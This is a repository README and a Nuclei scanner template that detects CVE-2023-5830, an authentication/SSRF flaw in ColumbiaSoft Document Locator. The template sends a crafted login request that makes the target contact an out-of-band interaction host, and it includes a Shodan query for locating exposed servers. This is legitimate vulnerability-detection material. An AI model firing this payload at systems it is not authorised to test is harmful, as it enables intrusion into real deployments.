This repository contains a Nuclei template that can be used to identify instances of ColumbiaSoft's Document Locator that are vulnerable to CVE-2023-5830

columbiasoft-improper-auth.yaml

id: CVE-2023-5830

info:
  name: ColumbiaSoft DocumentLocator - Improper Authentication
  author: Gonski
  severity: critical
  description: |
    Instances of ColumbiaSoft's Document Locator prior to version 7.2 SP4 and 2021.1 are vulnerable to an Improper Authentication/SSRF vulnerability. This template identifies vulnerable instances of the ColumbiaSoft Document Locater application by confirming external DNS interaction/lookups by modifying the value of the client-side SERVER parameter at /api/authentication/login.
  impact: |
    An attacker could exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Upgrade to a patched version of ColumbiaSoft DocumentLocator to fix the improper authentication issue.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5830
    - https://vuldb.com/?ctiid.243729
    - https://github.com/advisories/GHSA-j89v-wm7x-4434
    - https://vuldb.com/?id.243729
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5830
    cwe-id: CWE-287
    epss-score: 0.00091
    epss-percentile: 0.37579
    cpe: cpe:2.3:a:documentlocator:document_locator:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: documentlocator
    product: document_locator
    shodan-query: 'title:"Document Locator - WebTools"'
  tags: cve,cve2023,ssrf,unauth,columbiasoft,intrusive,webtools

http:
  - raw:
      - |
        @timeout: 20s
        POST /api/authentication/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}

        {
          "LoginType":"differentWindows",
          "User":"{{randstr}}",
          "Password":"{{rand_base(5, "abc")}}",
          "Domain":"{{randstr}}",
          "Server":"{{interactsh-url}}",
          "Repository":"{{randstr}}"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '"Authorized":false'
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